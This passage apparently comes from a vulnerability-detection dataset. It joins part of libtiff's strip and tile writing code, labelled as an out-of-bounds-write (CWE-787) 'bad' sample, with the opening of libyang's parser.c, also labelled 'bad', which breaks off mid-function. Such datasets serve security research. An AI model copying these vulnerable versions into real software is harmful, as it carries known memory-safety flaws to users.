tmsize_t TIFFWriteRawStrip(TIFF* tif, uint32 strip, void* data, tmsize_t cc) { static const char module[] = "TIFFWriteRawStrip"; TIFFDirectory *td = &tif->tif_dir; if (!WRITECHECKSTRIPS(tif, module)) return ((tmsize_t) -1); /* * Check strip array to make sure there's space. * We don't support dynamically growing files that * have data organized in separate bitplanes because * it's too painful. In that case we require that * the imagelength be set properly before the first * write (so that the strips array will be fully * allocated above). */ if (strip >= td->td_nstrips) { if (td->td_planarconfig == PLANARCONFIG_SEPARATE) { TIFFErrorExt(tif->tif_clientdata, module, "Can not grow image by strips when using separate planes"); return ((tmsize_t) -1); } /* * Watch out for a growing image. The value of * strips/image will initially be 1 (since it * can't be deduced until the imagelength is known). */ if (strip >= td->td_stripsperimage) td->td_stripsperimage = TIFFhowmany_32(td->td_imagelength,td->td_rowsperstrip); if (!TIFFGrowStrips(tif, 1, module)) return ((tmsize_t) -1); } tif->tif_curstrip = strip; if (td->td_stripsperimage == 0) { TIFFErrorExt(tif->tif_clientdata, module,"Zero strips per image"); return ((tmsize_t) -1); } tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip; return (TIFFAppendToStrip(tif, strip, (uint8*) data, cc) ? cc : (tmsize_t) -1); } /* * Write and compress a tile of data. The * tile is selected by the (x,y,z,s) coordinates. */ tmsize_t TIFFWriteTile(TIFF* tif, void* buf, uint32 x, uint32 y, uint32 z, uint16 s) { if (!TIFFCheckTile(tif, x, y, z, s)) return ((tmsize_t)(-1)); /* * NB: A tile size of -1 is used instead of tif_tilesize knowing * that TIFFWriteEncodedTile will clamp this to the tile size. * This is done because the tile size may not be defined until * after the output buffer is setup in TIFFWriteBufferSetup. */ return (TIFFWriteEncodedTile(tif, TIFFComputeTile(tif, x, y, z, s), buf, (tmsize_t)(-1))); } /* * Encode the supplied data and write it to the * specified tile. There must be space for the * data. The function clamps individual writes * to a tile to the tile size, but does not (and * can not) check that multiple writes to the same * tile do not write more than tile size data. * * NB: Image length must be setup before writing; this * interface does not support automatically growing * the image on each write (as TIFFWriteScanline does). */ tmsize_t TIFFWriteEncodedTile(TIFF* tif, uint32 tile, void* data, tmsize_t cc) { static const char module[] = "TIFFWriteEncodedTile"; TIFFDirectory *td; uint16 sample; uint32 howmany32; if (!WRITECHECKTILES(tif, module)) return ((tmsize_t)(-1)); td = &tif->tif_dir; if (tile >= td->td_nstrips) { TIFFErrorExt(tif->tif_clientdata, module, "Tile %lu out of range, max %lu", (unsigned long) tile, (unsigned long) td->td_nstrips); return ((tmsize_t)(-1)); } /* * Handle delayed allocation of data buffer. This * permits it to be sized more intelligently (using * directory information). */ if (!BUFFERCHECK(tif)) return ((tmsize_t)(-1)); tif->tif_flags |= TIFF_BUF4WRITE; tif->tif_curtile = tile; if( td->td_stripbytecount[tile] > 0 ) { /* Make sure that at the first attempt of rewriting the tile, we will have */ /* more bytes available in the output buffer than the previous byte count, */ /* so that TIFFAppendToStrip() will detect the overflow when it is called the first */ /* time if the new compressed tile is bigger than the older one. (GDAL #4771) */ if( tif->tif_rawdatasize <= (tmsize_t) td->td_stripbytecount[tile] ) { if( !(TIFFWriteBufferSetup(tif, NULL, (tmsize_t)TIFFroundup_64((uint64)(td->td_stripbytecount[tile] + 1), 1024))) ) return ((tmsize_t)(-1)); } /* Force TIFFAppendToStrip() to consider placing data at end of file. */ tif->tif_curoff = 0; } tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; /* * Compute tiles per row & per column to compute * current row and column */ howmany32=TIFFhowmany_32(td->td_imagelength, td->td_tilelength); if (howmany32 == 0) { TIFFErrorExt(tif->tif_clientdata,module,"Zero tiles"); return ((tmsize_t)(-1)); } tif->tif_row = (tile % howmany32) * td->td_tilelength; howmany32=TIFFhowmany_32(td->td_imagewidth, td->td_tilewidth); if (howmany32 == 0) { TIFFErrorExt(tif->tif_clientdata,module,"Zero tiles"); return ((tmsize_t)(-1)); } tif->tif_col = (tile % howmany32) * td->td_tilewidth; if ((tif->tif_flags & TIFF_CODERSETUP) == 0) { if (!(*tif->tif_setupencode)(tif)) return ((tmsize_t)(-1)); tif->tif_flags |= TIFF_CODERSETUP; } tif->tif_flags &= ~TIFF_POSTENCODE; /* * Clamp write amount to the tile size. This is mostly * done so that callers can pass in some large number * (e.g. -1) and have the tile size used instead. */ if ( cc < 1 || cc > tif->tif_tilesize) cc = tif->tif_tilesize; /* shortcut to avoid an extra memcpy() */ if( td->td_compression == COMPRESSION_NONE ) { /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) data, cc ); if (!isFillOrder(tif, td->td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits((uint8*) data, cc); if (cc > 0 && !TIFFAppendToStrip(tif, tile, (uint8*) data, cc)) return ((tmsize_t) -1); return (cc); } sample = (uint16)(tile/td->td_stripsperimage); if (!(*tif->tif_preencode)(tif, sample)) return ((tmsize_t)(-1)); /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) data, cc ); if (!(*tif->tif_encodetile)(tif, (uint8*) data, cc, sample)) return ((tmsize_t) -1); if (!(*tif->tif_postencode)(tif)) return ((tmsize_t)(-1)); if (!isFillOrder(tif, td->td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits((uint8*)tif->tif_rawdata, tif->tif_rawcc); if (tif->tif_rawcc > 0 && !TIFFAppendToStrip(tif, tile, tif->tif_rawdata, tif->tif_rawcc)) return ((tmsize_t)(-1)); tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; return (cc); } /* * Write the supplied data to the specified strip. * There must be space for the data; we don't check * if strips overlap! * * NB: Image length must be setup before writing; this * interface does not support automatically growing * the image on each write (as TIFFWriteScanline does). */ tmsize_t TIFFWriteRawTile(TIFF* tif, uint32 tile, void* data, tmsize_t cc) { static const char module[] = "TIFFWriteRawTile"; if (!WRITECHECKTILES(tif, module)) return ((tmsize_t)(-1)); if (tile >= tif->tif_dir.td_nstrips) { TIFFErrorExt(tif->tif_clientdata, module, "Tile %lu out of range, max %lu", (unsigned long) tile, (unsigned long) tif->tif_dir.td_nstrips); return ((tmsize_t)(-1)); } return (TIFFAppendToStrip(tif, tile, (uint8*) data, cc) ? cc : (tmsize_t)(-1)); } #define isUnspecified(tif, f) \ (TIFFFieldSet(tif,f) && (tif)->tif_dir.td_imagelength == 0) int TIFFSetupStrips(TIFF* tif) { TIFFDirectory* td = &tif->tif_dir; if (isTiled(tif)) td->td_stripsperimage = isUnspecified(tif, FIELD_TILEDIMENSIONS) ? td->td_samplesperpixel : TIFFNumberOfTiles(tif); else td->td_stripsperimage = isUnspecified(tif, FIELD_ROWSPERSTRIP) ? td->td_samplesperpixel : TIFFNumberOfStrips(tif); td->td_nstrips = td->td_stripsperimage; if (td->td_planarconfig == PLANARCONFIG_SEPARATE) td->td_stripsperimage /= td->td_samplesperpixel; td->td_stripoffset = (uint64 *) _TIFFmalloc(td->td_nstrips * sizeof (uint64)); td->td_stripbytecount = (uint64 *) _TIFFmalloc(td->td_nstrips * sizeof (uint64)); if (td->td_stripoffset == NULL || td->td_stripbytecount == NULL) return (0); /* * Place data at the end-of-file * (by setting offsets to zero). */ _TIFFmemset(td->td_stripoffset, 0, td->td_nstrips*sizeof (uint64)); _TIFFmemset(td->td_stripbytecount, 0, td->td_nstrips*sizeof (uint64)); TIFFSetFieldBit(tif, FIELD_STRIPOFFSETS); TIFFSetFieldBit(tif, FIELD_STRIPBYTECOUNTS); return (1); } #undef isUnspecified /* * Verify file is writable and that the directory * information is setup properly. In doing the latter * we also "freeze" the state of the directory so * that important information is not changed. */ int TIFFWriteCheck(TIFF* tif, int tiles, const char* module) { if (tif->tif_mode == O_RDONLY) { TIFFErrorExt(tif->tif_clientdata, module, "File not open for writing"); return (0); } if (tiles ^ isTiled(tif)) { TIFFErrorExt(tif->tif_clientdata, module, tiles ? "Can not write tiles to a stripped image" : "Can not write scanlines to a tiled image"); return (0); } _TIFFFillStriles( tif ); /* * On the first write verify all the required information * has been setup and initialize any data structures that * had to wait until directory information was set. * Note that a lot of our work is assumed to remain valid * because we disallow any of the important parameters * from changing after we start writing (i.e. once * TIFF_BEENWRITING is set, TIFFSetField will only allow * the image's length to be changed). */ if (!TIFFFieldSet(tif, FIELD_IMAGEDIMENSIONS)) { TIFFErrorExt(tif->tif_clientdata, module, "Must set \"ImageWidth\" before writing data"); return (0); } if (tif->tif_dir.td_samplesperpixel == 1) { /* * Planarconfiguration is irrelevant in case of single band * images and need not be included. We will set it anyway, * because this field is used in other parts of library even * in the single band case. */ if (!TIFFFieldSet(tif, FIELD_PLANARCONFIG)) tif->tif_dir.td_planarconfig = PLANARCONFIG_CONTIG; } else { if (!TIFFFieldSet(tif, FIELD_PLANARCONFIG)) { TIFFErrorExt(tif->tif_clientdata, module, "Must set \"PlanarConfiguration\" before writing data"); return (0); } } if (tif->tif_dir.td_stripoffset == NULL && !TIFFSetupStrips(tif)) { tif->tif_dir.td_nstrips = 0; TIFFErrorExt(tif->tif_clientdata, module, "No space for %s arrays", isTiled(tif) ? "tile" : "strip"); return (0); } if (isTiled(tif)) { tif->tif_tilesize = TIFFTileSize(tif); if (tif->tif_tilesize == 0) return (0); } else tif->tif_tilesize = (tmsize_t)(-1); tif->tif_scanlinesize = TIFFScanlineSize(tif); if (tif->tif_scanlinesize == 0) return (0); tif->tif_flags |= TIFF_BEENWRITING; return (1); } /* * Setup the raw data buffer used for encoding. */ int TIFFWriteBufferSetup(TIFF* tif, void* bp, tmsize_t size) { static const char module[] = "TIFFWriteBufferSetup"; if (tif->tif_rawdata) { if (tif->tif_flags & TIFF_MYBUFFER) { _TIFFfree(tif->tif_rawdata); tif->tif_flags &= ~TIFF_MYBUFFER; } tif->tif_rawdata = NULL; } if (size == (tmsize_t)(-1)) { size = (isTiled(tif) ? tif->tif_tilesize : TIFFStripSize(tif)); /* * Make raw data buffer at least 8K */ if (size < 8*1024) size = 8*1024; bp = NULL; /* NB: force malloc */ } if (bp == NULL) { bp = _TIFFmalloc(size); if (bp == NULL) { TIFFErrorExt(tif->tif_clientdata, module, "No space for output buffer"); return (0); } tif->tif_flags |= TIFF_MYBUFFER; } else tif->tif_flags &= ~TIFF_MYBUFFER; tif->tif_rawdata = (uint8*) bp; tif->tif_rawdatasize = size; tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; tif->tif_flags |= TIFF_BUFFERSETUP; return (1); } /* * Grow the strip data structures by delta strips. */ static int TIFFGrowStrips(TIFF* tif, uint32 delta, const char* module) { TIFFDirectory *td = &tif->tif_dir; uint64* new_stripoffset; uint64* new_stripbytecount; assert(td->td_planarconfig == PLANARCONFIG_CONTIG); new_stripoffset = (uint64*)_TIFFrealloc(td->td_stripoffset, (td->td_nstrips + delta) * sizeof (uint64)); new_stripbytecount = (uint64*)_TIFFrealloc(td->td_stripbytecount, (td->td_nstrips + delta) * sizeof (uint64)); if (new_stripoffset == NULL || new_stripbytecount == NULL) { if (new_stripoffset) _TIFFfree(new_stripoffset); if (new_stripbytecount) _TIFFfree(new_stripbytecount); td->td_nstrips = 0; TIFFErrorExt(tif->tif_clientdata, module, "No space to expand strip arrays"); return (0); } td->td_stripoffset = new_stripoffset; td->td_stripbytecount = new_stripbytecount; _TIFFmemset(td->td_stripoffset + td->td_nstrips, 0, delta*sizeof (uint64)); _TIFFmemset(td->td_stripbytecount + td->td_nstrips, 0, delta*sizeof (uint64)); td->td_nstrips += delta; tif->tif_flags |= TIFF_DIRTYDIRECT; return (1); } /* * Append the data to the specified strip. */ static int TIFFAppendToStrip(TIFF* tif, uint32 strip, uint8* data, tmsize_t cc) { static const char module[] = "TIFFAppendToStrip"; TIFFDirectory *td = &tif->tif_dir; uint64 m; int64 old_byte_count = -1; if (td->td_stripoffset[strip] == 0 || tif->tif_curoff == 0) { assert(td->td_nstrips > 0); if( td->td_stripbytecount[strip] != 0 && td->td_stripoffset[strip] != 0 && td->td_stripbytecount[strip] >= (uint64) cc ) { /* * There is already tile data on disk, and the new tile * data we have will fit in the same space. The only * aspect of this that is risky is that there could be * more data to append to this strip before we are done * depending on how we are getting called. */ if (!SeekOK(tif, td->td_stripoffset[strip])) { TIFFErrorExt(tif->tif_clientdata, module, "Seek error at scanline %lu", (unsigned long)tif->tif_row); return (0); } } else { /* * Seek to end of file, and set that as our location to * write this strip. */ td->td_stripoffset[strip] = TIFFSeekFile(tif, 0, SEEK_END); tif->tif_flags |= TIFF_DIRTYSTRIP; } tif->tif_curoff = td->td_stripoffset[strip]; /* * We are starting a fresh strip/tile, so set the size to zero. */ old_byte_count = td->td_stripbytecount[strip]; td->td_stripbytecount[strip] = 0; } m = tif->tif_curoff+cc; if (!(tif->tif_flags&TIFF_BIGTIFF)) m = (uint32)m; if ((m<tif->tif_curoff)||(m<(uint64)cc)) { TIFFErrorExt(tif->tif_clientdata, module, "Maximum TIFF file size exceeded"); return (0); } if (!WriteOK(tif, data, cc)) { TIFFErrorExt(tif->tif_clientdata, module, "Write error at scanline %lu", (unsigned long) tif->tif_row); return (0); } tif->tif_curoff = m; td->td_stripbytecount[strip] += cc; if( (int64) td->td_stripbytecount[strip] != old_byte_count ) tif->tif_flags |= TIFF_DIRTYSTRIP; return (1); } /* * Internal version of TIFFFlushData that can be * called by ``encodestrip routines'' w/o concern * for infinite recursion. */ int TIFFFlushData1(TIFF* tif) { if (tif->tif_rawcc > 0 && tif->tif_flags & TIFF_BUF4WRITE ) { if (!isFillOrder(tif, tif->tif_dir.td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits((uint8*)tif->tif_rawdata, tif->tif_rawcc); if (!TIFFAppendToStrip(tif, isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip, tif->tif_rawdata, tif->tif_rawcc)) return (0); tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; } return (1); } /* * Set the current write offset. This should only be * used to set the offset to a known previous location * (very carefully), or to 0 so that the next write gets * appended to the end of the file. */ void TIFFSetWriteOffset(TIFF* tif, toff_t off) { tif->tif_curoff = off; } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5478_2
crossvul-cpp_data_bad_1287_0
/** * @file parser.c * @author Radek Krejci <rkrejci@cesnet.cz> * @brief common libyang parsers routines implementations * * Copyright (c) 2015-2017 CESNET, z.s.p.o. * * This source code is licensed under BSD 3-Clause License (the "License"). * You may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://opensource.org/licenses/BSD-3-Clause */ #define _GNU_SOURCE #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <limits.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <pcre.h> #include <time.h> #include "common.h" #include "context.h" #include "libyang.h" #include "parser.h" #include "resolve.h" #include "tree_internal.h" #include "parser_yang.h" #include "xpath.h" #define LYP_URANGE_LEN 19 static char *lyp_ublock2urange[][2] = { {"BasicLatin", "[\\x{0000}-\\x{007F}]"}, {"Latin-1Supplement", "[\\x{0080}-\\x{00FF}]"}, {"LatinExtended-A", "[\\x{0100}-\\x{017F}]"}, {"LatinExtended-B", "[\\x{0180}-\\x{024F}]"}, {"IPAExtensions", "[\\x{0250}-\\x{02AF}]"}, {"SpacingModifierLetters", "[\\x{02B0}-\\x{02FF}]"}, {"CombiningDiacriticalMarks", "[\\x{0300}-\\x{036F}]"}, {"Greek", "[\\x{0370}-\\x{03FF}]"}, {"Cyrillic", "[\\x{0400}-\\x{04FF}]"}, {"Armenian", "[\\x{0530}-\\x{058F}]"}, {"Hebrew", "[\\x{0590}-\\x{05FF}]"}, {"Arabic", "[\\x{0600}-\\x{06FF}]"}, {"Syriac", "[\\x{0700}-\\x{074F}]"}, {"Thaana", "[\\x{0780}-\\x{07BF}]"}, {"Devanagari", "[\\x{0900}-\\x{097F}]"}, {"Bengali", "[\\x{0980}-\\x{09FF}]"}, {"Gurmukhi", "[\\x{0A00}-\\x{0A7F}]"}, {"Gujarati", "[\\x{0A80}-\\x{0AFF}]"}, {"Oriya", "[\\x{0B00}-\\x{0B7F}]"}, {"Tamil", "[\\x{0B80}-\\x{0BFF}]"}, {"Telugu", "[\\x{0C00}-\\x{0C7F}]"}, {"Kannada", "[\\x{0C80}-\\x{0CFF}]"}, {"Malayalam", "[\\x{0D00}-\\x{0D7F}]"}, {"Sinhala", "[\\x{0D80}-\\x{0DFF}]"}, {"Thai", "[\\x{0E00}-\\x{0E7F}]"}, {"Lao", "[\\x{0E80}-\\x{0EFF}]"}, {"Tibetan", "[\\x{0F00}-\\x{0FFF}]"}, {"Myanmar", "[\\x{1000}-\\x{109F}]"}, {"Georgian", "[\\x{10A0}-\\x{10FF}]"}, {"HangulJamo", "[\\x{1100}-\\x{11FF}]"}, {"Ethiopic", "[\\x{1200}-\\x{137F}]"}, {"Cherokee", "[\\x{13A0}-\\x{13FF}]"}, {"UnifiedCanadianAboriginalSyllabics", "[\\x{1400}-\\x{167F}]"}, {"Ogham", "[\\x{1680}-\\x{169F}]"}, {"Runic", "[\\x{16A0}-\\x{16FF}]"}, {"Khmer", "[\\x{1780}-\\x{17FF}]"}, {"Mongolian", "[\\x{1800}-\\x{18AF}]"}, {"LatinExtendedAdditional", "[\\x{1E00}-\\x{1EFF}]"}, {"GreekExtended", "[\\x{1F00}-\\x{1FFF}]"}, {"GeneralPunctuation", "[\\x{2000}-\\x{206F}]"}, {"SuperscriptsandSubscripts", "[\\x{2070}-\\x{209F}]"}, {"CurrencySymbols", "[\\x{20A0}-\\x{20CF}]"}, {"CombiningMarksforSymbols", "[\\x{20D0}-\\x{20FF}]"}, {"LetterlikeSymbols", "[\\x{2100}-\\x{214F}]"}, {"NumberForms", "[\\x{2150}-\\x{218F}]"}, {"Arrows", "[\\x{2190}-\\x{21FF}]"}, {"MathematicalOperators", "[\\x{2200}-\\x{22FF}]"}, {"MiscellaneousTechnical", "[\\x{2300}-\\x{23FF}]"}, {"ControlPictures", "[\\x{2400}-\\x{243F}]"}, {"OpticalCharacterRecognition", "[\\x{2440}-\\x{245F}]"}, {"EnclosedAlphanumerics", "[\\x{2460}-\\x{24FF}]"}, {"BoxDrawing", "[\\x{2500}-\\x{257F}]"}, {"BlockElements", "[\\x{2580}-\\x{259F}]"}, {"GeometricShapes", "[\\x{25A0}-\\x{25FF}]"}, {"MiscellaneousSymbols", "[\\x{2600}-\\x{26FF}]"}, {"Dingbats", "[\\x{2700}-\\x{27BF}]"}, {"BraillePatterns", "[\\x{2800}-\\x{28FF}]"}, {"CJKRadicalsSupplement", "[\\x{2E80}-\\x{2EFF}]"}, {"KangxiRadicals", "[\\x{2F00}-\\x{2FDF}]"}, {"IdeographicDescriptionCharacters", "[\\x{2FF0}-\\x{2FFF}]"}, {"CJKSymbolsandPunctuation", "[\\x{3000}-\\x{303F}]"}, {"Hiragana", "[\\x{3040}-\\x{309F}]"}, {"Katakana", "[\\x{30A0}-\\x{30FF}]"}, {"Bopomofo", "[\\x{3100}-\\x{312F}]"}, {"HangulCompatibilityJamo", "[\\x{3130}-\\x{318F}]"}, {"Kanbun", "[\\x{3190}-\\x{319F}]"}, {"BopomofoExtended", "[\\x{31A0}-\\x{31BF}]"}, {"EnclosedCJKLettersandMonths", "[\\x{3200}-\\x{32FF}]"}, {"CJKCompatibility", "[\\x{3300}-\\x{33FF}]"}, {"CJKUnifiedIdeographsExtensionA", "[\\x{3400}-\\x{4DB5}]"}, {"CJKUnifiedIdeographs", "[\\x{4E00}-\\x{9FFF}]"}, {"YiSyllables", "[\\x{A000}-\\x{A48F}]"}, {"YiRadicals", "[\\x{A490}-\\x{A4CF}]"}, {"HangulSyllables", "[\\x{AC00}-\\x{D7A3}]"}, {"PrivateUse", "[\\x{E000}-\\x{F8FF}]"}, {"CJKCompatibilityIdeographs", "[\\x{F900}-\\x{FAFF}]"}, {"AlphabeticPresentationForms", "[\\x{FB00}-\\x{FB4F}]"}, {"ArabicPresentationForms-A", "[\\x{FB50}-\\x{FDFF}]"}, {"CombiningHalfMarks", "[\\x{FE20}-\\x{FE2F}]"}, {"CJKCompatibilityForms", "[\\x{FE30}-\\x{FE4F}]"}, {"SmallFormVariants", "[\\x{FE50}-\\x{FE6F}]"}, {"ArabicPresentationForms-B", "[\\x{FE70}-\\x{FEFE}]"}, {"HalfwidthandFullwidthForms", "[\\x{FF00}-\\x{FFEF}]"}, {NULL, NULL} }; const char *ly_stmt_str[] = { [LY_STMT_UNKNOWN] = "", [LY_STMT_ARGUMENT] = "argument", [LY_STMT_BASE] = "base", [LY_STMT_BELONGSTO] = "belongs-to", [LY_STMT_CONTACT] = "contact", [LY_STMT_DEFAULT] = "default", [LY_STMT_DESCRIPTION] = "description", [LY_STMT_ERRTAG] = "error-app-tag", [LY_STMT_ERRMSG] = "error-message", [LY_STMT_KEY] = "key", [LY_STMT_NAMESPACE] = "namespace", [LY_STMT_ORGANIZATION] = "organization", [LY_STMT_PATH] = "path", [LY_STMT_PREFIX] = "prefix", [LY_STMT_PRESENCE] = "presence", [LY_STMT_REFERENCE] = "reference", [LY_STMT_REVISIONDATE] = "revision-date", [LY_STMT_UNITS] = "units", [LY_STMT_VALUE] = "value", [LY_STMT_VERSION] = "yang-version", [LY_STMT_MODIFIER] = "modifier", [LY_STMT_REQINSTANCE] = "require-instance", [LY_STMT_YINELEM] = "yin-element", [LY_STMT_CONFIG] = "config", [LY_STMT_MANDATORY] = "mandatory", [LY_STMT_ORDEREDBY] = "ordered-by", [LY_STMT_STATUS] = "status", [LY_STMT_DIGITS] = "fraction-digits", [LY_STMT_MAX] = "max-elements", [LY_STMT_MIN] = "min-elements", [LY_STMT_POSITION] = "position", [LY_STMT_UNIQUE] = "unique", [LY_STMT_MODULE] = "module", [LY_STMT_SUBMODULE] = "submodule", [LY_STMT_ACTION] = "action", [LY_STMT_ANYDATA] = "anydata", [LY_STMT_ANYXML] = "anyxml", [LY_STMT_CASE] = "case", [LY_STMT_CHOICE] = "choice", [LY_STMT_CONTAINER] = "container", [LY_STMT_GROUPING] = "grouping", [LY_STMT_INPUT] = "input", [LY_STMT_LEAF] = "leaf", [LY_STMT_LEAFLIST] = "leaf-list", [LY_STMT_LIST] = "list", [LY_STMT_NOTIFICATION] = "notification", [LY_STMT_OUTPUT] = "output", [LY_STMT_RPC] = "rpc", [LY_STMT_USES] = "uses", [LY_STMT_TYPEDEF] = "typedef", [LY_STMT_TYPE] = "type", [LY_STMT_BIT] = "bit", [LY_STMT_ENUM] = "enum", [LY_STMT_REFINE] = "refine", [LY_STMT_AUGMENT] = "augment", [LY_STMT_DEVIATE] = "deviate", [LY_STMT_DEVIATION] = "deviation", [LY_STMT_EXTENSION] = "extension", [LY_STMT_FEATURE] = "feature", [LY_STMT_IDENTITY] = "identity", [LY_STMT_IFFEATURE] = "if-feature", [LY_STMT_IMPORT] = "import", [LY_STMT_INCLUDE] = "include", [LY_STMT_LENGTH] = "length", [LY_STMT_MUST] = "must", [LY_STMT_PATTERN] = "pattern", [LY_STMT_RANGE] = "range", [LY_STMT_WHEN] = "when", [LY_STMT_REVISION] = "revision" }; int lyp_is_rpc_action(struct lys_node *node) { assert(node); while (lys_parent(node)) { node = lys_parent(node); if (node->nodetype == LYS_ACTION) { break; } } if (node->nodetype & (LYS_RPC | LYS_ACTION)) { return 1; } else { return 0; } } int lyp_data_check_options(struct ly_ctx *ctx, int options, const char *func) { int x = options & LYD_OPT_TYPEMASK; /* LYD_OPT_WHENAUTODEL can be used only with LYD_OPT_DATA or LYD_OPT_CONFIG */ if (options & LYD_OPT_WHENAUTODEL) { if ((x == LYD_OPT_EDIT) || (x == LYD_OPT_NOTIF_FILTER)) { LOGERR(ctx, LY_EINVAL, "%s: Invalid options 0x%x (LYD_OPT_DATA_WHENAUTODEL can be used only with LYD_OPT_DATA or LYD_OPT_CONFIG)", func, options); return 1; } } if (options & (LYD_OPT_DATA_ADD_YANGLIB | LYD_OPT_DATA_NO_YANGLIB)) { if (x != LYD_OPT_DATA) { LOGERR(ctx, LY_EINVAL, "%s: Invalid options 0x%x (LYD_OPT_DATA_*_YANGLIB can be used only with LYD_OPT_DATA)", func, options); return 1; } } /* "is power of 2" algorithm, with 0 exception */ if (x && !(x && !(x & (x - 1)))) { LOGERR(ctx, LY_EINVAL, "%s: Invalid options 0x%x (multiple data type flags set).", func, options); return 1; } return 0; } int lyp_mmap(struct ly_ctx *ctx, int fd, size_t addsize, size_t *length, void **addr) { struct stat sb; long pagesize; size_t m; assert(fd >= 0); if (fstat(fd, &sb) == -1) { LOGERR(ctx, LY_ESYS, "Failed to stat the file descriptor (%s) for the mmap().", strerror(errno)); return 1; } if (!S_ISREG(sb.st_mode)) { LOGERR(ctx, LY_EINVAL, "File to mmap() is not a regular file."); return 1; } if (!sb.st_size) { *addr = NULL; return 0; } pagesize = sysconf(_SC_PAGESIZE); ++addsize; /* at least one additional byte for terminating NULL byte */ m = sb.st_size % pagesize; if (m && pagesize - m >= addsize) { /* there will be enough space after the file content mapping to provide zeroed additional bytes */ *length = sb.st_size + addsize; *addr = mmap(NULL, *length, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); } else { /* there will not be enough bytes after the file content mapping for the additional bytes and some of them * would overflow into another page that would not be zeroed and any access into it would generate SIGBUS. * Therefore we have to do the following hack with double mapping. First, the required number of bytes * (including the additional bytes) is required as anonymous and thus they will be really provided (actually more * because of using whole pages) and also initialized by zeros. Then, the file is mapped to the same address * where the anonymous mapping starts. */ *length = sb.st_size + pagesize; *addr = mmap(NULL, *length, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *addr = mmap(*addr, sb.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, fd, 0); } if (*addr == MAP_FAILED) { LOGERR(ctx, LY_ESYS, "mmap() failed (%s).", strerror(errno)); return 1; } return 0; } int lyp_munmap(void *addr, size_t length) { return munmap(addr, length); } int lyp_add_ietf_netconf_annotations_config(struct lys_module *mod) { void *reallocated; struct lys_ext_instance_complex *op; struct lys_type **type; struct lys_node_anydata *anyxml; int i; struct ly_ctx *ctx = mod->ctx; /* shortcut */ reallocated = realloc(mod->ext, (mod->ext_size + 3) * sizeof *mod->ext); LY_CHECK_ERR_RETURN(!reallocated, LOGMEM(ctx), EXIT_FAILURE); mod->ext = reallocated; /* 1) edit-config's operation */ op = calloc(1, (sizeof(struct lys_ext_instance_complex) - 1) + 5 * sizeof(void*) + sizeof(uint16_t)); LY_CHECK_ERR_RETURN(!op, LOGMEM(ctx), EXIT_FAILURE); mod->ext[mod->ext_size] = (struct lys_ext_instance *)op; op->arg_value = lydict_insert(ctx, "operation", 9); op->def = &ctx->models.list[0]->extensions[0]; op->ext_type = LYEXT_COMPLEX; op->module = op->parent = mod; op->parent_type = LYEXT_PAR_MODULE; op->substmt = ((struct lyext_plugin_complex *)op->def->plugin)->substmt; op->nodetype = LYS_EXT; type = (struct lys_type**)&op->content; /* type is stored at offset 0 */ *type = calloc(1, sizeof(struct lys_type)); LY_CHECK_ERR_RETURN(!*type, LOGMEM(ctx), EXIT_FAILURE); (*type)->base = LY_TYPE_ENUM; (*type)->der = ly_types[LY_TYPE_ENUM]; (*type)->parent = (struct lys_tpdf *)op; (*type)->info.enums.count = 5; (*type)->info.enums.enm = calloc(5, sizeof *(*type)->info.enums.enm); LY_CHECK_ERR_RETURN(!(*type)->info.enums.enm, LOGMEM(ctx), EXIT_FAILURE); (*type)->info.enums.enm[0].value = 0; (*type)->info.enums.enm[0].name = lydict_insert(ctx, "merge", 5); (*type)->info.enums.enm[1].value = 1; (*type)->info.enums.enm[1].name = lydict_insert(ctx, "replace", 7); (*type)->info.enums.enm[2].value = 2; (*type)->info.enums.enm[2].name = lydict_insert(ctx, "create", 6); (*type)->info.enums.enm[3].value = 3; (*type)->info.enums.enm[3].name = lydict_insert(ctx, "delete", 6); (*type)->info.enums.enm[4].value = 4; (*type)->info.enums.enm[4].name = lydict_insert(ctx, "remove", 6); mod->ext_size++; /* 2) filter's type */ op = calloc(1, (sizeof(struct lys_ext_instance_complex) - 1) + 5 * sizeof(void*) + sizeof(uint16_t)); LY_CHECK_ERR_RETURN(!op, LOGMEM(ctx), EXIT_FAILURE); mod->ext[mod->ext_size] = (struct lys_ext_instance *)op; op->arg_value = lydict_insert(ctx, "type", 4); op->def = &ctx->models.list[0]->extensions[0]; op->ext_type = LYEXT_COMPLEX; op->module = op->parent = mod; op->parent_type = LYEXT_PAR_MODULE; op->substmt = ((struct lyext_plugin_complex *)op->def->plugin)->substmt; op->nodetype = LYS_EXT; type = (struct lys_type**)&op->content; /* type is stored at offset 0 */ *type = calloc(1, sizeof(struct lys_type)); LY_CHECK_ERR_RETURN(!*type, LOGMEM(ctx), EXIT_FAILURE); (*type)->base = LY_TYPE_ENUM; (*type)->der = ly_types[LY_TYPE_ENUM]; (*type)->parent = (struct lys_tpdf *)op; (*type)->info.enums.count = 2; (*type)->info.enums.enm = calloc(2, sizeof *(*type)->info.enums.enm); LY_CHECK_ERR_RETURN(!(*type)->info.enums.enm, LOGMEM(ctx), EXIT_FAILURE); (*type)->info.enums.enm[0].value = 0; (*type)->info.enums.enm[0].name = lydict_insert(ctx, "subtree", 7); (*type)->info.enums.enm[1].value = 1; (*type)->info.enums.enm[1].name = lydict_insert(ctx, "xpath", 5); for (i = mod->features_size; i > 0; i--) { if (!strcmp(mod->features[i - 1].name, "xpath")) { 